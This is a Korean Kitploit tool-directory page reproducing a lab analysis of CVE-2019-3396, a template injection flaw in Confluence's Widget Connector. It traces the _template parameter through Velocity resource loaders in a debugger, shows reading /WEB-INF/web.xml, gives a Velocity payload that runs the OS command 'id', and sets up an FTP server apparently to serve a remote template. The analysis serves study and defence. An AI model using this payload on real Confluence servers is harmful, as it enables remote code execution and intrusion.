Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-3396 — CVE-2019-3396에 대한 단계별 분석 및 익스플로잇 가이드로, Confluence Server 및 Data Center의 중요한 SSTI 취약점을 다루며 디버깅 및 RCE 페이로드 실행을 포함합니다. | Kitploit
도구/GitHubGitHub/tranphuc2005/cve-2019-3396
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubtranphuc2005/cve-2019-3396

CVE-2019-3396

CVE-2019-3396에 대한 단계별 분석 및 익스플로잇 가이드로, Confluence Server 및 Data Center의 중요한 SSTI 취약점을 다루며 디버깅 및 RCE 페이로드 실행을 포함합니다.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-3396

🔎 주요 정보:

  • 영향 받는 제품: Confluence Server 및 Data Center

  • 영향 받는 버전: 6.0.0 ~ 6.15.4

  • 심각도: Critical (CVSS ~9.8)

  • 원인:

    • Confluence에는 Widget Connector 플러그인이 있습니다 (YouTube, Vimeo 등 외부 콘텐츠를 삽입하는 데 사용).

    • 이 기능은 사용자 입력을 제대로 검증하지 않아 서버 사이드 템플릿 인젝션(SSTI) 이 발생합니다.

    • 공격자가 악성 payload를 보내면 → Confluence가 Velocity 템플릿 엔진으로 렌더링 → 서버에서 코드가 실행됩니다.

1. 웹사이트 설치 및 실행

  • 취약한 버전(예: 6.9.0)을 설치합니다:
root@kitploit:~
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
  • 안내에 따라 설정 단계를 수행합니다.
root@kitploit:~
https://nguyendt.hashnode.dev/confluence-cve-2019-3396
  • 설치가 완료되면 다음과 같은 화면이 나타납니다.

1

2. 취약점 위치 탐색 및 디버깅

2.1 취약점 위치 찾기

  • PoC에 따르면 취약 기능은 Widget Connector 부분에 있습니다 (YouTube, Vimeo 등 외부 콘텐츠를 삽입하는 데 사용됨).
  • 해당 기능을 찾습니다:
  1. Other macros를 선택합니다.

1

  1. Widget Connector를 검색합니다.

1

  1. 링크를 입력하고 요구되는 정보를 채운 후 Preview를 선택합니다.

1

2.2 디버그 설정

  • 설명에 Widget Connector가 언급되어 있으므로 Confluence 소스 폴더에서 검색해 봅니다.

1

  • Intellij IDEA를 사용하여 .jar 파일을 읽습니다.
  • 링크를 처리하는 위치에 Breakpoint를 설정하고 디버깅을 진행합니다.

디버깅 실행

  • com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class에 breakpoint를 설정하고 디버깅합니다.
  • 여기서 다음과 같은 매개변수를 확인할 수 있습니다.
  • DefaultRenderManager.class를 호출합니다.

1

  • 여기서는 getEmbeddedHtml() 함수를 사용합니다.
  • 사용자가 Confluence 페이지에 삽입한 URL을 기반으로 외부 콘텐츠(비디오, 위젯, 문서 등)를 삽입하는 HTML 코드를 반환합니다.
  • 이로부터 YoutubeRenderer 함수가 호출됩니다.

1

  • YoutubeRenderer 클래스로 이동합니다.
  • 이 함수는 getEmbeddedHtml(String url, Map<String, String> params)입니다.
  • url → 사용자가 입력한 YouTube 링크
  • params → 렌더링 구성을 위한 매개변수 맵 (예: 너비, 높이, 사용할 템플릿 등)

1

  • 계속해서 getEmbedUrl(), setDefaultParam(), DefaultVelocityRenderService.render()를 호출합니다.
  • setDefaultParam()에 집중합니다.

1

  • _template이 없으면 기본 템플릿인 youtube.vm을 할당합니다. => 프로그램에 _template을 직접 추가할 수 있습니다.

  • 다음으로 DefaultVelocityRenderService.render()로 이동합니다.

  1. 함수 목적

    • url 및 params 매개변수를 받습니다.

    • Velocity (.vm) 템플릿을 사용하여 삽입 HTML(iframe, embed 등)을 렌더링합니다.

  2. 템플릿 결정

    • params에 _template이 있으면 해당 템플릿을 사용합니다.

    • 없으면 기본값 embed.vm을 사용합니다.

  3. MacroUtils.defaultVelocityContext()를 사용하여 기본 컨텍스트를 생성합니다.

  • params의 모든 매개변수를 컨텍스트에 넣습니다:

    • key가 tweetHtml이면 HTML을 그대로 유지합니다.

    • 그렇지 않으면 GeneralUtil.htmlEncode()를 사용하여 안전하게 인코딩합니다.

  • urlHtml, width, height를 컨텍스트에 추가합니다 (비어 있으면 기본값 400×300).

1

  • VelocityUtils.getRenderedTemplate()을 호출합니다.

1

  • 이제 VelocityUtils 클래스로 이동합니다.
  • 위에서 getRenderedTemplate과 getRenderedTemplateWithoutSwallowingErrors()를 호출했습니다.

1

  • 그 후에 getTemplate()을 호출합니다.

1

  • 여기서 templateName은 위의 _template입니다.

  • 계속해서 VelocityEngine.Template()을 호출합니다.

1

  • VelocityEngine 클래스에서는 RuntimeInstance.getTemplate()을 호출합니다.

1

RuntimeInstance (Velocity 코어)
Velocity 엔진의 "심장"입니다. 다음을 담당합니다:

  • 엔진 초기화 (init)

  • 설정, 매크로, 파서, 지시문, 이벤트 핸들러 관리…

  • 특히: ResourceManager를 통한 리소스 관리

→ 즉, RuntimeInstance가 직접 리소스를 로드하지 않고, resourceManager에 위임합니다.

  • 그런 다음 CompatibleVelocityResourceManager.getResource()를 호출합니다.

1

ConfigurableResourceManager (Confluence 사용자 정의)
이는 ResourceManager 인터페이스의 구현체입니다.
다음을 담당합니다:

  • 리소스 로더 관리 (file loader, classpath loader, URL loader 등).

  • globalCache 관리 (resourceKey를 기준으로 템플릿 캐싱).

  • RuntimeInstance가 요청할 때 템플릿 (.vm 파일)을 로드/리프레시합니다.

1

root@kitploit:~
try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}
  • 리소스가 캐시에 있으면 즉시 반환하지 않고, refreshResource(...)를 호출합니다.

  • refreshResource는 디스크의 lastModified 시간과 캐시의 시간을 비교합니다.

  • 파일이 변경되었으면 캐시의 리소스가 무효화되고 → 디스크에서 다시 로드 → 캐시 업데이트.

👉 따라서 수동으로 resourceKey를 변경할 필요가 없습니다. 템플릿이 변경되면 해당 리프레시 메커니즘으로 캐시도 업데이트됩니다.

_template을 추가하고 요청을 다시 보냅니다.

1

  • Velocity의 초기화된 ResourceLoader 인스턴스 목록을 확인합니다.

1

1

  • 여기서는 FileResourceLoader와 ClasspathResourceLoader에만 관심이 있습니다.

1. FileResourceLoader

경로 탐색을 차단하기 위해 StringUtils.normalizePath()를 호출합니다.

1

  • normalizePath의 내용은 그림과 같습니다.

1

  • /WEB-INF/web.xml 파일을 읽으려고 시도하면 파일이 성공적으로 로드되는 것을 볼 수 있습니다.

1

  • 하지만 /../가 차단되어 Confluence 디렉터리를 벗어날 수 없습니다.
  • 계속해서 ClasspathResourceLoader를 확인합니다.

2. ClasspathResourceLoader

1

  • ClassUtils.getResourceAsStream을 추적합니다.

1

  • /org/apache/catalina/loader/WebappClassLoaderBase.class의 findResource()를 호출합니다.

1

  • 계속해서 super.findResource()를 호출하면 URL 객체가 반환됩니다.

1

1

  • url.openStream()을 호출하여 데이터를 가져옵니다.

1

  • 마지막으로 데이터를 Velocity로 전달하여 렌더링합니다.

1

  • 실제 환경에서 정확한 경로를 모르는 경우 Java의 파일 scheme을 활용하여 디렉터리 목록을 가져올 수 있습니다.

1

Outbound 가능

실행 payload

root@kitploit:~
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end
  • $runtime.exec("id") 호출 → Ubuntu에서 운영 체제 명령 "id"가 실행됩니다.
  • 다음 명령으로 FTP 서비스를 시작합니다:
root@kitploit:~
python3 -m pyftpdlib -p 2005

1

실행:

1

도구 다운로드